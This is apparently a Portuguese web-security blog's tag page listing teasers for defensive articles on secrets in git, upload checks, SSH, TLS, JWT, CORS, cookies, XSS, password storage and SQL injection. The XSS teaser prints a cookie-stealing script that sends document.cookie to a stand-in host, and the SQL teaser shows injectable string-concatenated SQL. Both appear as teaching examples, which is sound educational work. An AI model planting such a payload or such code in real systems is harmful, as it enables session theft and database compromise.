Tag
O mais recente
Acontece a toda a gente. Um .env que escapou ao .gitignore , uma chave colada num ficheiro de configuração "só para testar", um token numa mensagem de commit. E há uma reação instintiva que é a errada. 1. A ordem certa é esta A primeira coisa não é limpar o histórico. É rodar o segredo . A partir do…
Ler o artigoUm formulário de upload é um convite para pôr ficheiros no seu servidor. Vale a pena aceitar com regras. 1. A extensão não prova nada Mudar virus.php para foto.jpg demora um segundo. O que se verifica é o conteúdo : os primeiros bytes de um ficheiro dizem o que ele é. // Assinaturas: os primeiros by…
Ler o artigoUm servidor com autenticação por password na porta 22 recebe milhares de tentativas por dia, todos os dias, de robôs que não sabem que ele existe — encontram-no a varrer a internet. As chaves resolvem isso e ainda são mais cómodas. 1. Criar o par ssh-keygen -t ed25519 -C "portatil-do-francisco" Fica…
Ler o artigoUm certificado custava dinheiro, chegava por email e renovava-se à mão uma vez por ano — normalmente no dia seguinte a ter expirado. Hoje é gratuito e automático, e vale a pena saber o que se passa por baixo. 1. Para que serve, ao certo Cifra o que vai e vem, para ninguém pelo caminho ler nem altera…
Ler o artigoO JSON Web Token é três blocos de texto separados por pontos. Vale a pena saber exatamente o que cada um faz, porque quase todos os erros com JWT vêm de lhe atribuir propriedades que ele não tem. eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJub21lIjoiQW5hIn0.4pcPyMD09olPSyXnrXCjTw └── cabeçalho ──────┘ └─…
Ler o artigoÉ provavelmente a mensagem mais copiada para o Google em toda a história do desenvolvimento web: Access to fetch at 'https://api.exemplo.pt/dados' from origin 'https://meusite.pt' has been blocked by CORS policy E a reação mais comum é a errada: procurar como "desligar o CORS" no browser. 1. Quem bl…
Ler o artigoUm cookie de sessão são três atributos e um problema. Vale a pena perceber os três, porque cada um fecha uma porta diferente. Set-Cookie: sessao=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800 1. HttpOnly — contra o XSS O JavaScript da página não consegue ler o cookie. Se alguém conse…
Ler o artigoUm comentário com isto lá dentro: <script>fetch('https://mau.example?c=' + document.cookie)</script> Se a página o mostrar como HTML, o script corre no browser de quem visita , com a sessão de quem visita. É o cross-site scripting , e continua a ser a vulnerabilidade mais comum na web. 1. Os três sa…
Ler o artigoUma base de dados acaba por sair. Acontece a empresas com equipas de segurança a sério, e vai acontecer ao seu projeto de fim de semana. A pergunta que interessa não é se alguém a vai ler — é o que essa pessoa encontra lá dentro. 1. O que nunca se faz Guardar em texto simples. Não precisa de explica…
Ler o artigoTem quase trinta anos, está no topo das listas de vulnerabilidades desde que há listas, e continua a aparecer. A causa é sempre a mesma linha de código: const sql = "SELECT * FROM utilizadores WHERE email = '" + email + "'"; 1. O que acontece Se o email for [email protected] , a consulta é a esperada. …
Ler o artigoGostávamos de saber quantas pessoas visitam o site, com o Google Analytics. Sem a sua autorização não corre nada. Política de Privacidade.